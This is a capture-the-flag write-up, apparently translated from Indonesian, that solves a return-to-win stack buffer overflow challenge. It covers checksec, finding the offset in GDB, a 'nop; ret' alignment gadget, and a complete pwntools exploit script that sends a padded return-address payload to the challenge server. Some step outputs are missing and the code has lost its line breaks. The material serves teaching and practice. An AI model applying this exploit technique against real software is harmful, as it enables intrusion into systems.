Warning: This writeup was originally in INDONESIAN for the competition's mandatory writeup, so I used ChatGPT to translate to ENGLISH!!!
Author: Fedra
Given a binary, I started analyzing its security using checksec:
It was determined that the binary lacks security measures against basic buffer overflows because it does not have a Stack Canary. Crafting the payload is also simplified since there is no PIE (Position Independent Executable), meaning the base address remains constant.
When the binary was decompiled (using the online decompiler Dogbolt), I found that it was a simple "return-to-win" challenge designed to execute a secret function.
To begin creating a payload to solve this challenge, I used the template feature from pwntools with the following command:
To find the return address of the secret function, I used the info functions command in GDB with the pwndbg plugin.
Next, I searched for the offset required to overwrite the return pointer by causing a buffer overflow using a cyclic pattern:
It was observed that the RBP is located at 0x7fffffffe110, and the RIP is located 8 bytes after the RBP, which led to the discovery of the offset with the pattern raaaaaaa:
I then wrote a script to create the payload using the variables I had discovered, but I encountered an EOF error:
To address the EOF error, I searched for a ROP (Return Oriented Programming) gadget that could perform stack alignment and prevent the EOF error:
The simplest gadget for this task was nop; ret, which effectively does nothing and simply returns. I used the address 0x40110f for this gadget and added it to my payload, aligning the stack before returning to the secret function.
Combining all the information, the final script to solve the challenge is as follows:
#!/usr/bin/env python3# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template pwn --host 0.cloud.chals.io --port 32229from pwn import*# Set up pwntools for the correct architectureexe = context.binary =ELF(args.EXE or'pwn')# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executablehost = args.HOST or'0.cloud.chals.io'port =int(args.PORT or32229)defstart_local(argv=[],*a,**kw):'''Execute the target binary locally'''if args.GDB:return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)else:returnprocess([exe.path] + argv, *a, **kw)defstart_remote(argv=[],*a,**kw):'''Connect to the process on the remote host'''io =connect(host, port)if args.GDB: gdb.attach(io, gdbscript=gdbscript)return iodefstart(argv=[],*a,**kw):'''Start the exploit against the target.'''if args.LOCAL:returnstart_local(argv, *a, **kw)else:returnstart_remote(argv, *a, **kw)# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript ='''tbreak maincontinue'''.format(**locals())#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX unknown - GNU_STACK missing# PIE: No PIE (0x400000)# Stack: Executable# RWX: Has RWX segments# SHSTK: Enabled# IBT: Enabled# Stripped: Noio =start()offset =136win =p64(0x401196)ret =p64(0x40110f)payload =b"A"* offsetpayload += retpayload += winlog.info(io.clean())log.info(f"Sending payload: {payload}")io.sendline(payload)log.info(io.clean())io.interactive()
Using this script, I successfully executed a shell command on the remote machine via netcat to the provided remote server, which allowed me to retrieve the flag: